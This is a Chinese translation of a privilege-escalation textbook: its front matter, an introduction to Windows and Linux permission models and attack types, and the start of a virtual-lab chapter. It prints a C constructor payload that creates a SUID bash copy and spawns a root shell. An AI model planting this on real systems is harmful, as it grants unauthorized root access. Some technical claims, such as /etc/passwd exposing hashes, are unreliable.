权限维持技术-一-

121 阅读1小时+

权限维持技术(一)

原文:annas-archive.org/md5/9805e2a1c16e127b366157a83eb2f43d

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书是一本关于 Windows 和 Linux 系统特权提升过程的全面指南,旨在通过提供真实的练习和场景,采用易于操作的方式让读者掌握实用技能。本书从介绍特权提升开始,涵盖了搭建实操虚拟黑客实验室的过程,这个实验室将用于展示本书中所讨论的各种技术的实际应用。每一章内容都基于前一章展开,通过提供可以复制的练习和场景来验证学习过程。

你将学习如何从目标系统中枚举尽可能多的信息,利用手动和自动化枚举工具,通过多种技术(如冒充攻击或内核漏洞利用等)提升 Windows 系统的特权,并通过使用内核漏洞或利用 SUID 二进制文件提升 Linux 系统的特权。

本书分为三个部分,互相衔接,第一部分涵盖特权提升的简介、如何在目标系统上获得初步立足点,以及如何从目标系统中枚举信息。接下来的两部分专注于介绍适用于 Windows 和 Linux 系统的各种特权提升技术和工具。

本书将为你提供必要的技能,使你能够从目标系统中枚举信息,识别潜在漏洞,并利用手动技术或自动化工具提升目标系统的特权。

本书适合谁阅读

本书面向学生、网络安全专业人员、爱好者、安全工程师、渗透测试人员,或者任何对渗透测试或信息安全有浓厚兴趣的人群。本书可以作为个人、公司或培训机构的学习材料。

无论你是信息技术行业的新手学生,还是经验丰富的专业人士,本书都能为你提供有价值的信息,帮助你提升渗透测试技能。

本书内容

第一章特权提升简介,介绍了特权提升过程、各种特权提升攻击类型,以及 Windows 和 Linux 系统上特权提升的差异。

第二章搭建实验环境,介绍了虚拟化的概念,如何搭建自己的渗透测试实验室,如何设置易受攻击的虚拟机,以及如何安装和配置 Kali Linux。

第三章获取访问权限(漏洞利用),重点讲解了设置 Metasploit 框架、使用 Nmap 进行信息收集、识别漏洞以及利用这些漏洞获取系统访问权限的过程。

第四章执行本地枚举,涵盖了手动和自动从 Windows 和 Linux 系统中枚举信息的过程。

第五章Windows 内核漏洞利用,探讨了通过 Metasploit 手动和自动执行内核漏洞利用,以提升权限的过程。

第六章伪装攻击,解释了 Windows 访问令牌的工作原理,概述了枚举权限的过程,讲解了令牌伪装攻击,并涵盖了通过腐烂土豆攻击提升权限的过程。

第七章Windows 密码挖掘,探讨了在文件和 Windows 配置文件中搜索密码、寻找应用程序密码、转储 Windows 哈希值并破解转储的密码哈希值,以提升权限的过程。

第八章利用服务,涵盖了利用未引用的服务路径、利用二级登录句柄、利用弱服务权限和执行 DLL 劫持的过程。

第九章通过 Windows 注册表提升权限,研究了利用弱注册表权限、自动运行程序和利用“始终以管理员身份安装”功能的过程。

第十章Linux 内核漏洞利用,解释了 Linux 内核的工作原理,并涵盖了通过 Metasploit 手动和自动执行内核漏洞利用的过程。

第十一章Linux 密码挖掘,重点讲解了从内存中提取密码、在配置文件中查找密码以及在 Linux 历史文件中查找密码的过程。

第十二章定时任务,介绍了 Linux 中的 cron 作业,并涵盖了通过利用 cron 路径、cron 通配符和 cron 文件覆盖来提升权限的过程。

第十三章利用 SUID 二进制文件,概述了 Linux 中文件系统权限的工作原理,并探讨了寻找 SUID 二进制文件以及通过共享对象注入提升权限的过程。

为了充分利用本书

要最大限度地利用本书,你应当具备基本的网络知识,特别是 TCP/IP、UDP 以及它们各自的协议。此外,考虑到本书所涉及技术的性质,你还应对 Windows 和 Linux 的工作原理和功能有所了解。

本书所需的硬件配置相对标准。你可以使用一台支持虚拟化并能够运行 Oracle VirtualBox 的笔记本或台式计算机。根据硬件和操作系统的规格,推荐以下配置:

  • 操作系统Windows):Windows 7 或更高版本,最好是 64 位

  • 操作系统Linux):Ubuntu、Debian、Fedora 或任何基于 Debian 或 Fedora 的稳定发行版

  • 处理器:Intel i5 或更高

  • RAM:8 GB 或更高

  • 硬盘:500 GB 硬盘

如果你使用的是本书的数字版,我们建议你自己输入代码或从本书的 GitHub 仓库访问代码(下一节中提供了链接)。这样可以帮助你避免复制和粘贴代码时可能出现的错误。

代码实战

本书的《代码实战》视频可以在bit.ly/3CPN0DU查看。

下载彩色图片

我们还提供了一份 PDF 文件,其中包含了本书中使用的截图和图表的彩色版本。你可以在此下载:static.packt-cdn.com/downloads/9781801078870_ColorImages.pdf

使用的约定

本书中使用了一些文本约定。

文本中的代码:表示文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:“在将 Bash 脚本下载到我们的 Kali 虚拟机后,我们需要将linpeas.sh文件传输到目标虚拟机。”

一段代码如下所示:

#include <stdio.h>

#include <stdlib.h>

static void inject() attribute((constructor));

void inject() {

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

当我们希望引起你注意代码块中特定部分时,相关行或项目会以粗体显示:

#include <stdio.h>

#include <stdlib.h>

static void inject() attribute((constructor));

void inject() {

system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}

所有命令行输入或输出以如下格式书写:

ls -al /home/user/

粗体:表示一个新术语、一个重要单词或你在屏幕上看到的单词。例如,菜单或对话框中的单词会显示为粗体。例如:“从管理面板中选择系统信息。”

提示或重要说明

如此显示。

联系我们

我们始终欢迎读者的反馈。

一般反馈:如果您对本书的任何内容有疑问,请通过电子邮件 customercare@packtpub.com 与我们联系,并在邮件主题中注明书名。

勘误:尽管我们已尽力确保内容的准确性,但错误仍然可能发生。如果您在本书中发现了错误,我们将非常感激您向我们报告。请访问 www.packtpub.com/support/err… 并填写表格。

盗版:如果您在互联网上遇到我们作品的任何非法复制形式,我们将非常感激您能提供相关的地址或网站名称。请通过电子邮件 copyright@packt.com 与我们联系,并附上相关材料的链接。

如果您有兴趣成为作者:如果您在某个领域拥有专长,并且有意撰写或参与编写书籍,请访问 authors.packtpub.com

分享您的想法

阅读完 特权提升技术 后,我们非常希望听到您的想法!请 点击这里直接访问亚马逊评论页面 为本书留下反馈。

您的评论对我们和技术社区非常重要,将帮助我们确保提供优质内容。

第一部分:获得访问权限和本地枚举

本节将为您介绍特权提升过程,并涵盖如何在目标系统上获得初步立足点以及如何在目标系统上执行本地枚举,以识别潜在的漏洞。

本节包括以下章节:

  • 第一章特权提升简介

  • 第二章建立我们的实验环境

  • 第三章获得访问权限(利用)

  • 第四章执行本地枚举

第一章: 权限提升介绍

权限提升是攻击生命周期中的关键环节,也是渗透测试成功与否的主要决定因素。

在渗透测试过程中,权限提升的重要性不可过分强调或忽视。提升你的权限提升技能会让你成为一名优秀的渗透测试员。能够枚举目标系统的信息,并利用这些信息识别潜在的配置错误和漏洞,从而提升权限,这是每个渗透测试员的基本技能。

本章旨在让你更清晰地了解权限提升过程,并作为对各种权限提升技术的正式介绍,同时也会介绍 Windows 和 Linux 系统之间在权限提升过程中的差异。

要全面理解并利用各种权限提升工具和技术,首先需要了解在不同操作系统中权限和特权的实现方式,以及这些设计和实现差异如何整体影响权限提升过程。

到本章结束时,你将清楚地了解什么是权限提升,同时你也会理解 Windows 和 Linux 系统中权限的实现方式,并简要介绍我们将在接下来的章节中深入探讨的各种权限提升技术。

在本章中,我们将覆盖以下主题:

  • 什么是权限提升?

  • 权限和特权是如何分配的

  • 理解 Windows 与 Linux 中权限提升的差异

  • 探索权限提升攻击的类型

什么是权限提升?

权限提升是利用系统中的漏洞或配置错误,将用户权限从一个级别提升到另一个级别的过程,通常是提升到具有管理员或root访问权限的用户。成功的权限提升使攻击者能够增强对系统或属于某个域的多个系统的控制,从而能够进行管理性更改、窃取数据、修改或破坏操作系统,并通过持久化手段(如注册表编辑或定时任务)保持访问。

从渗透测试员的角度来看,权限提升是在成功利用系统漏洞后,进行下一步操作的逻辑步骤,通常通过绕过或利用认证与授权系统来执行,这些系统的目的是根据用户的权限和角色隔离用户账户。

一种典型的方法是利用系统的初始访问权限或立足点,获取超出当前用户账户权限范围的资源和功能。这个过程通常被称为获得root权限。

在我们开始各种权限提升技术之前,我们需要了解现代操作系统是如何实现用户帐户和权限的。

权限和特权的分配方式

为了更好地理解如何提升特权,我们需要首先了解操作系统是如何在用户帐户和特权方面进行设计的。

操作系统的授权设计旨在处理多个具有不同角色和权限的用户。角色的这种隔离是现代操作系统中实现不同用户帐户哲学的主要因素。

系统上用户角色和权限的抽象由一个称为保护环的系统来设置和促成,如图 1.1 所示。它指定了用户在系统上的功能限制并强制执行他们相应的资源访问。

正如名称所示,保护环是一种层级保护和隔离机制,用于提供系统上功能和资源的不同访问级别。等级保护环表示操作系统中的特权层次,如下图所示:

图 1.1 – 保护环

图 1.1 – 保护环

图 1.1 中的等级保护环从最有特权的(通常表示为 0 级)到最少特权的按顺序排列,最少特权的表示为最高的环编号。系统上权限的这种隔离导致了两种主要角色的采用,如下所示:

  • 特权访问:通常分配给根用户或管理员帐户,并提供对所有系统命令和资源的完全访问。根用户或管理员帐户通常具有以下功能:

    1. 安装、卸载和修改系统软件或二进制文件的能力

    2. 添加、修改或删除用户及用户组的能力

    3. 创建、访问、修改和删除任何系统或用户数据的能力

    4. 访问和控制所有系统硬件的能力

    5. 访问网络功能和网络工具的能力

    6. 创建、管理和终止系统和用户进程的能力

  • 非特权访问:通常赋予非根用户或标准用户帐户,权限有限,通常针对系统上标准用户访问的特定权限集进行设计和定制。它将用户的功能限制为基本任务以及对系统上用户数据的访问。非根用户帐户通常具有以下功能:

    1. 启动和停止用户进程和程序的能力

    2. 创建、修改和删除用户数据的能力

    3. 访问网络功能的能力

这种权限的隔离突显了权限提升对于渗透测试人员或攻击者的重要性,因为它提供了对系统的完全和无与伦比的控制,或者如果他们能够获得“root”或管理员访问权限,则可能控制一组系统。

根据权限提升攻击与用户帐户和权限的关系,攻击者可以根据他们的意图和目标采用两种主要的权限提升方法,如下所示:

  • 水平权限提升

  • 垂直权限提升

我们将在下一节中更详细地探讨它们是什么。

水平权限提升

水平权限提升是访问系统中其他用户帐户的功能或数据的过程,而不是获得具有管理员或 root 权限的帐户的访问权限。它主要涉及使用权限水平相同的帐户访问或授权系统中的功能,而不是访问权限更高、权限更多的用户帐户。

攻击者或渗透测试人员通常会执行这种类型的权限提升攻击,目的是访问没有权限的用户帐户数据,或窃取用户帐户凭证或密码哈希值。

场景

以下截图展示了计算机上典型的帐户设置,其中有两个没有权限的用户和一个有权限的用户。在这种情况下,两个没有权限的用户分别是JohnMike,有权限的用户是Collin

图 1.2 – 水平权限提升场景

图 1.2 – 水平权限提升场景

在这个场景中,John 正在尝试执行典型的水平权限提升攻击,将他的用户帐户权限提升到 Mike 的帐户权限。请注意,John 和 Mike 处于相同的水平权限级别。

图 1.2 清晰地概述了水平权限提升的唯一目标,目标是将权限提升到与执行攻击的用户帐户处于同一水平的用户帐户。

垂直权限提升

垂直权限提升是利用操作系统中的漏洞来获取系统的 root 或管理员访问权限的过程。由于权限和功能的巨大回报,攻击者和渗透测试人员通常更偏向于这种方法,因为它们现在对系统拥有完全的访问和控制权限。

以下截图概述了用户帐户权限和特权的自下而上的方法,其中最顶部的帐户具有最高的权限,最不容易访问,通常分配给系统管理员。最底层的帐户设置和配置为标准用户和无需管理员权限的服务使用,这些服务在日常任务中不需要管理员权限:

图 1.3 – 垂直特权提升

图 1.3 – 垂直特权提升

图 1.3 同样展示了一个基于用户账户和权限的垂直特权提升方法,适用于 Windows 和 Linux 系统,目标是横向提升到特权最高的账户,从而获得系统的完全访问权限。

重要提示

垂直特权提升可能不仅仅来源于操作系统或服务中的漏洞利用。常见的情况是系统和服务配置错误,可能允许非管理员用户账户以管理员权限运行命令或二进制文件。我们将在接下来的章节中探讨各种特权提升技术。

场景

以下截图展示了计算机上典型的账户设置,其中有两个非特权用户和一个特权用户。在这种情况下,两个非特权用户分别是约翰迈克,而特权用户是科林

图 1.4 – 垂直特权提升场景

图 1.4 – 垂直特权提升场景

在此场景中,图 1.4 展示了一个传统的垂直特权提升方法,其中用户约翰试图将特权提升到管理员账户,即科林的账户。如果成功,约翰将获得管理员特权,并能够访问所有用户账户和文件,从而完全控制系统。此场景展示了成功的垂直特权提升攻击的重要性和潜在影响。

现在我们已经了解了两种主要的特权提升方法以及它们的运作方式,我们可以开始查看 Windows 和 Linux 上特权提升之间的各种区别。

了解 Windows 和 Linux 上特权提升的区别

现在我们对用户账户和权限的实现有了大致了解,并且查看了两种主要的特权提升方法,我们可以开始了解在特权提升攻击的背景下,LinuxWindows 之间的差异,以及它们各自的设计和开发理念如何影响特权提升过程。

这种细致的方法将帮助我们清晰地了解两个操作系统及其相应内核在漏洞和潜在利用方面的优缺点。

以下表格概述了两种操作系统及其服务中可以被利用来提升特权的常见潜在攻击向量

表 1.1 – 常见潜在攻击向量

表 1.1 – 常见潜在攻击向量

为了全面理解这两种操作系统在潜在漏洞和攻击路径方面的差异,我们需要了解它们如何处理身份验证和安全性,因为这将帮助我们发现安全隐患。然而,值得注意的是,Windows 和 Linux 之间的安全差异归结于它们独特的设计理念。

Windows 安全

Windows 是一个由微软公司拥有和开发的专有操作系统,占据了大约 93% 的 PC 市场份额,这意味着大多数公司很可能在其最终用户设备上运行 Windows 客户端,或者在其关键基础设施中部署 Windows Server。

因此,Windows 更有可能运行在员工的笔记本电脑和工作站上,因为它具有更加以用户为中心的设计UCD)和理念。为了理解 Windows 上的特权提升过程,我们需要了解 Windows 如何管理和维护系统安全。为此,我们需要更详细地查看负责管理和维护 Windows 身份验证和安全性的各种组件。

用户身份验证

身份验证是验证试图访问系统或系统资源的用户身份的过程。

现代操作系统中的身份验证通常是通过用户名和密码组合来强制执行的;然而,操作系统已开始实现附加的身份验证层,并且为用户密码实现更强大的加密算法。

密码和密码散列通常是渗透测试人员的目标,我们将在本书后面介绍如何提取系统密码和散列值。

Windows 上的用户身份验证由Windows 登录Winlogon)进程和安全账户管理器SAM)处理。SAM 是一个用于管理和存储 Windows 系统上用户账户的数据库。

现代版本的 Windows 使用新技术局域网管理器 2NTLM2)加密协议进行密码散列和加密,远远强于旧版本 Windows 中的局域网管理器LM)加密协议。

Windows 上的域身份验证通常通过诸如 Kerberos 等身份验证协议来实现。

用户识别

用户识别用于唯一标识系统中的用户,并用于建立一个责任体系,因为在系统上执行的操作可以追溯到执行它们的用户。了解 Windows 上如何实现和运作用户识别,对于特权提升过程中的用户识别非常有用,可以帮助识别系统中的用户、他们的角色和组。

在 Windows 中,用户身份验证过程使用 安全标识符SID)进行识别。每个用户和组都有一个唯一的 SID,该 SID 由以下截图中列出的组件组成:

图 1.5 – 示例 Windows SID

图 1.5 – 示例 Windows SID

以下是前述 SID 的不同参数说明:

  • **SID 字符串: **S 表示这是一个 SID 字符串

  • 修订版: 始终设置为 1;这是指结构的修订号

  • 权限 ID: 指明谁创建或授予了 SID,如下所示:

    • 空值: 0

    • 全局权限: 1

    • 本地权限: 2

    • 创建者权限: 3

    • 非唯一权限: 4

    • NT 权限: 5

  • 子权限 ID/实际 ID: 用户的唯一标识符,或者包含域标识符

  • RID: 代表 相对 ID,用于与其他账户进行区分。Windows 将为特定用户分配以下唯一的 RID。能够根据 SID 识别特权用户非常重要,如下所示:

    • 管理员: 500

    • 来宾用户: 501

    • 域管理员: 512

    • 域计算机: 515

你可以通过在 命令提示符CMD)中运行以下命令来枚举 Windows 系统上的 SID:

wmic useraccount get name,sid

此命令将枚举系统上所有用户账户的 SID,如下图所示。请特别注意 RID,因为它们可以用来快速识别管理员和来宾账户:

图 1.6 – 枚举 Windows SIDs

图 1.6 – 枚举 Windows SIDs

图 1.6 所示,我们可以根据 RID 来识别用户角色,而无需关注账户用户名。在这个特定的例子中,我们设置了管理员和来宾账户,它们可以通过 RID 被识别。

访问令牌

访问令牌是描述和标识系统中进程或线程安全上下文的对象。每次用户成功认证时,访问令牌由 Winlogon 进程生成,并包含与线程或进程关联的用户账户的身份和权限。然后,该令牌被附加到初始进程(通常是 userinit.exe 进程),之后所有子进程将继承来自其创建者的访问令牌副本,并在相同的访问令牌下运行。

在 Windows 上,访问令牌将包含以下元素:

  • 用户 SID

  • 组 SID

  • 登录 SID

  • 分配给用户或用户组的权限

  • 自主访问控制列表DACL)正在使用

  • 访问令牌的来源

我们可以通过在 CMD 中运行以下命令列出用户的访问令牌:

Whoami /priv

如果用户没有特权,则访问令牌将被限制,如下图所示:

图 1.7 – 受限访问令牌

图 1.7 – 限制访问令牌

需要注意的是,图 1.7 中高亮的用户具有管理权限;然而,cmd.exe 进程使用的访问令牌限制了权限。如果我们以管理员身份运行 cmd.exe,该用户的访问令牌将列出所有权限,如下截图所示:

图 1.8 – 特权访问令牌

图 1.8 – 特权访问令牌

访问令牌可以在特权升级过程中通过诸如主访问令牌操控攻击等手段加以利用,该攻击通过欺骗系统使其相信一个进程属于不同的用户,而不是启动该进程的用户。我们将在本书后续部分学习如何利用这一攻击途径来提升我们的权限。

Linux 安全性

Linux 是一个免费的开源操作系统,包括由 Linus Torvalds 开发的 Linux 内核和GNU 的非 UnixGNU)工具包。GNU 工具包是由 Richard Stallman 最初启动和开发的软件和实用工具的集合。这些开源项目的结合构成了 Linux 操作系统的整体,通常称为 GNU/Linux。

通常,大多数个人和公司可能会运行 Windows 客户端,并且会使用 Linux 作为其关键基础设施——例如邮件服务器、数据库、网页服务器和入侵检测系统IDSes)。鉴于 Linux 服务器在组织中的性质和部署方式,攻击更有可能严重影响公司并造成重大干扰。

用户身份验证

Linux 上的用户账户详细信息存储在 /etc/passwd 文件中。此文件包含用户账户用户名、用户 IDUID)、加密密码、组 IDGID)以及个人用户信息。

该文件可以被系统中的所有用户访问,这意味着系统中的任何用户都可以检索其他用户的密码哈希值。这使得在 Linux 上的哈希转储过程变得更加直接,也为潜在的密码破解攻击敞开了大门。大多数较老的 Linux 发行版使用 消息摘要算法 5MD5)哈希算法,这种算法更容易破解,因此大多数较新的发行版已经开始使用并实施 安全哈希算法 256SHA-256)加密协议,使得破解哈希变得更加困难。

身份识别

Linux 上的用户身份验证通过使用与唯一 UID 对应的用户名来实现,UID 是一个数值,由系统管理员自动分配或手动分配。Linux 上的 root 账户的 UID 始终为 0。

这些用户信息以及加密后的用户密码存储在/etc/passwd 文件中。

访问令牌

Linux 上的访问令牌与 Windows 上的工作方式类似,但它们存储在内存中(随机访问内存,或 RAM),并在初始化时附加到进程上。

Linux 上的访问令牌将包含以下信息:

  • 用户账户的 UID

  • 用户所属组的 GID/GIDs

  • 用户权限

  • 主要组 UID

  • 访问控制列表ACL)条目

现在我们对 Windows 和 Linux 上使用的各种身份验证和安全组件有了基本了解,我们可以看看各种类型的权限提升攻击及它们如何利用上述安全机制。

探索权限提升攻击的类型

现在我们可以探讨最常见的权限提升攻击及其工作原理。目标是对可用的权限提升攻击类型有一个基本的了解,并理解它们是如何被利用的。

在接下来的章节中,我们将深入探讨如何在 Windows 和 Linux 系统上利用这些漏洞。

内核漏洞利用

内核漏洞利用是影响 Windows 和 Linux 系统的程序或二进制文件,旨在利用底层内核中的漏洞,以提高权限或获取“root”权限来执行任意代码。

漏洞利用过程是多方面的,需要进行大量的枚举,以确定操作系统版本和已安装的补丁或热修复程序,从而判断系统是否受到内核漏洞的影响,接着可以通过各种漏洞库(如 exploit-db)获取内核漏洞利用代码。漏洞代码应该被检查并根据所需的参数和功能进行定制。定制完成后,代码可以编译成二进制文件并传输到目标系统上执行。在某些情况下,如果漏洞利用代码依赖于某些依赖项,则需要在目标系统上下载并编译。

成功编译并执行二进制文件后,内核漏洞利用将通过 shell 提示符授予攻击者在目标系统上“root”访问权限,攻击者可以使用“root”权限在系统上运行命令。

在许多情况下,Windows 系统的预编译内核漏洞利用代码已经在线存在,并且可以直接下载和执行,从而完全避免了编译过程。然而,在编译之前,检查和分析漏洞利用代码非常重要,因为漏洞代码可能包含恶意代码或有效负载。

重要说明

内核漏洞利用是非常强大的;然而,它们可能导致系统崩溃和内核恐慌,这会阻碍权限提升过程,并可能对系统造成损害。

利用 SUID 二进制文件

SUID 是一个内建的 Linux 特性,允许用户以其他用户的权限执行二进制文件和文件。

该功能通常用于允许非 root 账户以 root 权限运行系统工具和二进制文件。您可以将程序或工具的 SUID 权限设置为“root”所有者。这样,每当非 root 用户执行该程序或工具时,它将以“root”权限运行。攻击者可以利用或利用 SUID 配置错误,以 root 权限运行任意命令。

例如,允许执行任意命令的程序或二进制文件,如vim,不应将其 SUID 所有者设置为“root”,因为非 root 用户可以利用 vim 中的命令执行功能,以“root”权限运行命令。

利用易受攻击的服务和权限

服务提供了攻击者最大的威胁面,因为在 Windows 和 Linux 系统上运行的程序和服务种类繁多且各不相同。

攻击者通常会目标是识别错误配置或易受攻击的服务和程序,这些服务和程序可能促成权限提升。例如,在 Linux 系统上,攻击者会尝试识别并利用 cron jobs 的配置错误,利用其功能执行任意代码或恶意二进制文件。

利用 Windows 上的易受攻击或不安全服务通常涉及在具有管理员权限的服务中嵌入有效负载。当服务执行时,它以管理员权限执行有效负载,从而允许二进制文件以“root”权限执行命令。

不安全的凭证

这一技术涉及搜索系统上由用户存储的不安全凭证,或通过破解弱用户凭证的过程来进行。许多用户——甚至是系统管理员——会将密码以明文形式记录在文档、电子表格和配置文件中,用于各种服务账户。这些文件可以通过运行专门的搜索查询和各种命令行工具来找到。

其中一个例子是使用 Linux 上的 find 命令行工具来定位具有特定扩展名和文件名的文件。

利用 SUDO

攻击者通常会瞄准具有 SUDO 权限的用户。SUDO 允许用户以其他用户身份(通常是 root 用户)运行命令。

SUDO 权限通常由管理员手动配置,这使得可能存在配置错误的风险。例如,管理员可以为某些命令行工具(如 findvim)分配 SUDO 权限,这些工具可以运行 shell 命令或任意代码。

攻击者可以利用这一点运行任意代码或以“root”权限执行命令。

重要提示

SUDO 是一种 Linux 命令和权限设置,允许用户以超级用户或“root”权限运行命令或程序。

这些只是一些可以在 Windows 和 Linux 系统上使用的权限提升攻击和技术。我们将在接下来的章节中详细介绍如何使用这些技术。

总结

本章向你介绍了权限提升过程,解释了现代操作系统中如何实现特权和用户账户,并探讨了 Windows 和 Linux 系统中权限提升的区别。还重点讲解了最常见的权限提升技术,并解释了如何利用它们。

现在你应该对权限提升过程有了较好的理解,了解了权限和特权是如何实现的,以及在 Windows 和 Linux 上使用的各种渗透测试技术。

在下一章中,我们将开始设置我们的虚拟环境,并准备我们的渗透测试分发版。我们还将了解我们将使用的各种工具和框架,以增强和优化权限提升过程。

第二章:设置我们的实验室

由于安全研究员或渗透测试人员从事的工作本质上是复杂且技术性的,因此,练习和测试你的黑客技能时,必须在安全的隔离虚拟环境中进行,以避免对公共系统、计算机或网络造成损害。搭建虚拟黑客实验室的艺术是渗透测试人员的一项重要技能,它允许快速部署、测试和利用系统,而无需攻击公共系统或网络基础设施。

因此,了解如何设置一个可以合法进行渗透测试的虚拟化环境至关重要。拥有一个个人虚拟黑客实验室可以让你测试新的攻击、漏洞利用和工具,进而提升学习效果,并不断增强你的技能,使你成为一个更有能力的黑客。类似地,在本章中,你将学习如何设计和配置你自己的强大、隔离的虚拟黑客实验室,用于学习和实践本书中展示的各种漏洞利用权限提升技术,这些技术涉及 Windows 和 Linux 操作系统。

本章将提供设计、部署、配置和故障排除自己隔离的虚拟黑客实验室所需的知识和技能。

在本章中,我们将涵盖以下主题:

  • 设计我们的实验室

  • 构建我们的实验室

  • 设置 Kali Linux

技术要求

要跟随本章的演示,你需要确保满足以下硬件和软件要求:

  • 需要一个运行 Windows、Linux 或 macOS 的操作系统。

  • 至少需要 4 GB 的 RAM,推荐规格为 8 GB。

  • 至少 500 GB 的空闲存储空间。

  • 支持虚拟化技术的处理器(例如,Intel VT-x 或 AMD VT)。

  • 一般了解VirtualBox的工作原理。

现在我们已经了解了将要覆盖的内容,接下来让我们深入探讨第一个话题。

你可以在这里查看本章的代码示例:bit.ly/3ukgh6C

设计我们的实验室

在本节中,我们将开始构建我们的虚拟黑客实验室。我们将根据本书中练习和演示的需求,设计并构建我们的实验室。

为了搭建我们的实验室基础设施,我们需要利用虚拟化技术。这将使我们避免因硬件和网络配置产生额外费用,因为我们将在一个主机上运行所有的客操作系统并配置我们的虚拟网络

在开始设计和构建我们的实验室之前,我们需要探索虚拟化作为一个概念和实践。首先,我们将了解虚拟化在构建和配置虚拟黑客实验室中的重要性和作用。

虚拟化

虚拟化是指在具有抽象硬件层的操作系统虚拟实例上运行的过程。虚拟化使得多操作系统能够在单一计算机或主机上同时运行。它被发明出来的目的是帮助大型组织和公司减少对硬件设备的需求以及在托管和网络设备上的开支。

最初,大型公司和组织需要购买整台服务器来托管如电子邮件和 Web 应用程序等服务。每项服务都托管在独立的专用服务器上。这导致了企业支出增加,但对于性能和资源效率等因素并没有带来额外的好处,因为大多数服务器配置为高性能、具有大量系统资源如RAM,并且配置了强大的 CPU。然而,考虑到公司通常只能在一台服务器上托管一项服务,大多数时候,像处理能力和 RAM 这样的系统资源会被低效利用,这使得托管变得低效。这种传统托管基础设施的类型如图 2.1所示:

图 2.1 – 传统托管基础设施

图 2.1 – 传统托管基础设施

资源效率低下的问题正是虚拟化技术所要解决的。通过虚拟化,企业现在能够在一台专用服务器上运行多个操作系统并托管多个服务。虚拟化确保了系统资源得到适当和高效的利用,因为服务器可以配置为在物理资源和服务器容量的限制下尽可能多地运行服务。

图 2.2展示了如何使用像 VirtualBox 这样的虚拟机监控器,通过虚拟化将多个操作系统和服务配置在一台服务器上运行:

图 2.2 – 现代托管基础设施

图 2.2 – 现代托管基础设施

图 2.2中,一台服务器已被配置为虚拟化三个操作系统,每个操作系统都托管自己的服务。这清晰地展示了虚拟化不仅对企业有益,也对个人和专业人士有益。同样,我们将使用虚拟化技术在一台主机系统上托管我们的目标操作系统和攻击者操作系统。为了利用虚拟化技术,我们需要了解虚拟机监控器。

重要提示

虚拟化提供的一个关键特性是对来宾操作系统的隔离,这为基础设施提供了安全性和稳定性。虚拟机隔离可以根据需要进行配置;我们将在设置虚拟机时更深入地了解来宾隔离和虚拟网络。

虚拟机监控器

虚拟化管理程序是负责创建、运行和管理虚拟机的计算机程序。它负责促进虚拟化过程并设置运行操作系统所需的模拟环境。

虚拟化管理程序根据其部署和使用案例分为两大类:

  • Type 1 虚拟化管理程序:这些虚拟化管理程序直接安装在硬件上,并通常作为操作系统运行。这些类型的虚拟化管理程序也被称为裸金属虚拟化管理程序。以下是一些 Type 1 虚拟化管理程序的例子:

    a) VMware ESX

    b) Microsoft Hyper-V Server

    c) Proxmox-VE

    图 2.3展示了 Type 1 虚拟化管理程序的部署结构,其中虚拟化管理程序管理系统直接安装到硬件上,并作为主操作系统,创建并管理虚拟机:

图 2.3 – Type 1 虚拟化管理程序结构

图 2.3 – Type 1 虚拟化管理程序结构

  • Type 2 虚拟化管理程序:这些虚拟化管理程序直接安装在主操作系统上,如 Windows、Linux 或 macOS。它们像传统程序一样运行,而不是直接在硬件上运行。

    Type 2 虚拟化管理程序无法直接访问系统硬件;相反,Type 2 虚拟化管理程序使用主操作系统可用的系统资源。图 2.2展示了典型的 Type 2 虚拟化管理程序设置,其中虚拟化管理程序直接安装在主操作系统之上。以下列出了部分免费的和商业的 Type 2 虚拟化管理程序:

    a) Oracle VirtualBox(免费)

    b) VMware Player(免费)

    c) VMware Workstation Pro(商业)

    d) Parallels Desktop for macOS(商业)

什么是虚拟机?

虚拟机是一个模拟操作系统,它直接运行在另一个操作系统之上。虚拟机可以访问并根据用户需求分配资源。例如,我们可以指定虚拟机的内存大小、核心数量、逻辑处理器数量以及虚拟机可访问的网络接口和 USB 设备。默认情况下,虚拟机使用虚拟磁盘镜像进行存储,并且可以根据需要进行扩展。像 VirtualBox 这样的虚拟化管理程序还允许我们为虚拟机拍摄快照,以作为冗余的一种形式。这在虚拟机因配置错误或系统故障而失败时非常有用;你可以轻松地将虚拟机恢复到之前的快照。

你应该使用哪种类型的虚拟化管理程序?

如前所述,您选择的虚拟化程序类型将取决于您的部署性质和个人使用案例。如果您有多台计算机或笔记本电脑,可以尝试使用像 Proxmox-VE 这样的类型 1 虚拟化程序,我个人使用它是因为它提供了更强大的功能。如果您打算在一台计算机或笔记本上运行虚拟黑客实验室,那么显而易见的选择是类型 2 虚拟化程序,因为它可以直接安装在主机操作系统上。

现在我们对虚拟化技术有了更好的理解,并且了解如何利用该技术设置虚拟黑客实验室,我们可以看看如何结构化我们的实验室。

实验室结构

在开始构建我们的虚拟实验室之前,我们需要了解实验室的结构、将使用的软件和操作系统,以及我们将实施的网络配置。这将使部署过程更加简单和直接。

第一步是选择我们偏好的虚拟化程序。本书中,我们将使用Oracle VirtualBox,它是一个类型 2 虚拟化程序,免费且开源,开箱即用就具备了很好的功能。我们将在下一节中讨论如何安装和配置 VirtualBox。

操作系统

我们将部署多种强大的 Windows 和 Linux 操作系统。这将使您能够模拟真实世界的攻击,不仅仅针对单一目标。您在典型的渗透测试中也可能会遇到不同的操作系统。我们将在虚拟黑客实验室中使用以下操作系统:

  • Windows 7

  • Windows Server 2008

  • Windows Server 2012

  • Windows 10

  • Metasploitable2

  • Kali Linux

我们将使用 Kali Linux 作为我们的进攻操作系统,其他操作系统将作为目标操作系统使用。

重要提示

Windows Server 2012 目标虚拟机是可选的。本书中展示的大多数技巧和攻击可以在 Windows Server 2008 上复制。

现在我们已经对将要使用的虚拟化程序和操作系统有了了解,接下来可以设置我们想要的虚拟网络结构。

虚拟网络拓扑

图 2.4 描述了我们将在 VirtualBox 中设置虚拟网络时所使用的期望网络拓扑。所有虚拟机将互联并与任何外部网络隔离:

图 2.4 – 虚拟网络拓扑

图 2.4 – 虚拟网络拓扑

VirtualBox 允许我们创建一个完全隔离的虚拟网络,无需路由器或交换机。每台虚拟机都需要分配一个 IP 地址。我们将使用 VirtualBox 内置的虚拟交换机来设置一个基于动态主机配置协议DHCP)的网络,其中 IP 地址将自动分配给虚拟机。这将模拟一个真实的网络环境;然后我们将不得不执行一些基本的主机发现来手动映射网络和主机。

